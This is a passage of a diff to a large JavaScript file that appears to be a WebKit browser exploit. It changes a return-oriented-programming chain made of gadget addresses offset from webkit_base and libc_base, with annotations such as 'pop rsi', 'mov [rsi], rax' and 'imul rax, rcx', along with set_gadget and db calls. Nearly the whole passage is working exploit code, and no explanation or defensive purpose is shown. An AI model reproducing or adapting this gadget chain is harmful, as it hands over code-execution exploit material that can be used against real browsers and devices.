-ropchain+108904, //L1129 +ropchain+108904, //L1130 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1129: +//L1130: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7405,16 +7405,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+109008, //L1131 +ropchain+109024, //L1133 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1131: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1132: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1133: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7422,7 +7422,7 @@ ropchain+109112, //L1134 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+109128, //L1135 +ropchain+109128, //L1136 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7430,7 +7430,7 @@ libc_base+206806 //pop rdi //L1134: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1135: +//L1136: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7470,12 +7470,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+109400, //L1142 +ropchain+109400, //L1143 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1142: +//L1143: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7484,18 +7484,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+109480, //L1146 +ropchain+109480, //L1145 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1146: +//L1145: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1144: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1145: +//L1144: db([22, 0]); // 0x16 +set_gadget(libc_base+792472,); //pop rcx +//L1146: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7530,12 +7530,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+109744, //L1151 +ropchain+109744, //L1152 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1151: +//L1152: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7569,7 +7569,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1157: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -7577,16 +7577,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+110008, //L1158 +ropchain+110024, //L1160 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1158: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1159: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1160: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7594,7 +7594,7 @@ ropchain+110112, //L1161 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+110128, //L1162 +ropchain+110128, //L1163 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7602,7 +7602,7 @@ libc_base+206806 //pop rdi //L1161: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1162: +//L1163: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7642,12 +7642,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+110400, //L1169 +ropchain+110400, //L1170 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1169: +//L1170: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7656,18 +7656,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+110480, //L1173 +ropchain+110480, //L1172 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1173: +//L1172: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1171: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1172: +//L1171: db([23, 0]); // 0x17 +set_gadget(libc_base+792472,); //pop rcx +//L1173: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7702,12 +7702,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+110744, //L1178 +ropchain+110744, //L1179 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1178: +//L1179: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7749,16 +7749,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+111008, //L1185 +ropchain+111024, //L1187 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1185: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1186: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1187: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7766,7 +7766,7 @@ ropchain+111112, //L1188 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+111128, //L1189 +ropchain+111128, //L1190 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7774,7 +7774,7 @@ libc_base+206806 //pop rdi //L1188: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1189: +//L1190: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7814,12 +7814,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+111400, //L1196 +ropchain+111400, //L1197 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1196: +//L1197: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7828,18 +7828,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+111480, //L1200 +ropchain+111480, //L1199 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1200: +//L1199: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1198: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1199: +//L1198: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1200: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -7874,12 +7874,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+111744, //L1205 +ropchain+111744, //L1206 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1205: +//L1206: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7912,16 +7912,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+111960, //L1211 +ropchain+111976, //L1213 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1211: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1212: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L1213: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -7929,7 +7929,7 @@ ropchain+112064, //L1214 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+112080, //L1215 +ropchain+112080, //L1216 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -7937,7 +7937,7 @@ libc_base+206806 //pop rdi //L1214: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1215: +//L1216: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -7977,12 +7977,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+112352, //L1222 +ropchain+112352, //L1223 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1222: +//L1223: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7991,18 +7991,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+112432, //L1226 +ropchain+112432, //L1225 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1226: +//L1225: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L1224: +db([2, 0]); // 0x2 +set_gadget(libc_base+792472,); //pop rcx +//L1226: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L1225: -db([4, 0]); // 0x4 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8037,12 +8037,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+112696, //L1231 +ropchain+112696, //L1232 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1231: +//L1232: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8055,16 +8055,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+112800, //L1233 +ropchain+112816, //L1235 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1233: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1234: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1235: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8072,7 +8072,7 @@ ropchain+112904, //L1236 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+112920, //L1237 +ropchain+112920, //L1238 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8080,7 +8080,7 @@ libc_base+206806 //pop rdi //L1236: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1237: +//L1238: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8120,12 +8120,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+113192, //L1244 +ropchain+113192, //L1245 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1244: +//L1245: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8134,18 +8134,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+113272, //L1248 +ropchain+113272, //L1247 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1248: +//L1247: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1246: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1247: +//L1246: db([25, 0]); // 0x19 +set_gadget(libc_base+792472,); //pop rcx +//L1248: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8180,12 +8180,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+113536, //L1253 +ropchain+113536, //L1254 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1253: +//L1254: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8219,7 +8219,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1259: -webkit_base+8975893, //mov [rdi + 0x10], r8 +libc_base+784911, //mov [rdi], r8 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -8227,16 +8227,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+113800, //L1260 +ropchain+113816, //L1262 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1260: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1261: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1262: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8244,7 +8244,7 @@ ropchain+113904, //L1263 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+113920, //L1264 +ropchain+113920, //L1265 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8252,7 +8252,7 @@ libc_base+206806 //pop rdi //L1263: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1264: +//L1265: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8292,12 +8292,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+114192, //L1271 +ropchain+114192, //L1272 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1271: +//L1272: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8306,18 +8306,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+114272, //L1275 +ropchain+114272, //L1274 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1275: +//L1274: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1273: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1274: +//L1273: db([26, 0]); // 0x1a +set_gadget(libc_base+792472,); //pop rcx +//L1275: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8352,12 +8352,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+114536, //L1280 +ropchain+114536, //L1281 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1280: +//L1281: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8399,16 +8399,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+114800, //L1287 +ropchain+114816, //L1289 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1287: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1288: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1289: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8416,7 +8416,7 @@ ropchain+114904, //L1290 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+114920, //L1291 +ropchain+114920, //L1292 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8424,7 +8424,7 @@ libc_base+206806 //pop rdi //L1290: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1291: +//L1292: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8464,12 +8464,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+115192, //L1298 +ropchain+115192, //L1299 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1298: +//L1299: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8478,18 +8478,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+115272, //L1302 +ropchain+115272, //L1301 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1302: +//L1301: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1300: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1301: +//L1300: db([27, 0]); // 0x1b +set_gadget(libc_base+792472,); //pop rcx +//L1302: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8524,12 +8524,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+115536, //L1307 +ropchain+115536, //L1308 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1307: +//L1308: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8562,16 +8562,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+115752, //L1313 +ropchain+115768, //L1315 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1313: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1314: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L1315: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8579,7 +8579,7 @@ ropchain+115856, //L1316 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+115872, //L1317 +ropchain+115872, //L1318 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8587,7 +8587,7 @@ libc_base+206806 //pop rdi //L1316: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1317: +//L1318: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8627,12 +8627,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116144, //L1324 +ropchain+116144, //L1325 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1324: +//L1325: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8641,18 +8641,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+116224, //L1328 +ropchain+116224, //L1327 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1328: +//L1327: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L1326: +db([1, 0]); // 0x1 +set_gadget(libc_base+792472,); //pop rcx +//L1328: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L1327: -db([3, 0]); // 0x3 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8687,12 +8687,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+116488, //L1333 +ropchain+116488, //L1334 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1333: +//L1334: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8705,16 +8705,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116592, //L1335 +ropchain+116608, //L1337 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1335: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1336: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1337: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8722,7 +8722,7 @@ ropchain+116696, //L1338 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+116712, //L1339 +ropchain+116712, //L1340 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8730,7 +8730,7 @@ libc_base+206806 //pop rdi //L1338: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1339: +//L1340: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8770,12 +8770,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116984, //L1346 +ropchain+116984, //L1347 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1346: +//L1347: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8784,18 +8784,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+117064, //L1350 +ropchain+117064, //L1349 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1350: +//L1349: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1348: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1349: +//L1348: db([28, 0]); // 0x1c +set_gadget(libc_base+792472,); //pop rcx +//L1350: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -8830,12 +8830,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+117328, //L1355 +ropchain+117328, //L1356 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1355: +//L1356: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8869,7 +8869,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1361: -webkit_base+1026352, //mov [rdi + 0x10], r9 +webkit_base+2858307, //mov [rdi], r9 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -8877,16 +8877,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+117592, //L1362 +ropchain+117608, //L1364 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1362: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1363: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1364: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -8894,7 +8894,7 @@ ropchain+117696, //L1365 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+117712, //L1366 +ropchain+117712, //L1367 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -8902,7 +8902,7 @@ libc_base+206806 //pop rdi //L1365: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1366: +//L1367: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -8942,12 +8942,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+117984, //L1373 +ropchain+117984, //L1374 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1373: +//L1374: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8956,18 +8956,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+118064, //L1377 +ropchain+118064, //L1376 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1377: +//L1376: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1375: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1376: +//L1375: db([29, 0]); // 0x1d +set_gadget(libc_base+792472,); //pop rcx +//L1377: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -9002,12 +9002,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+118328, //L1382 +ropchain+118328, //L1383 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1382: +//L1383: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9049,16 +9049,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+118592, //L1389 +ropchain+118608, //L1391 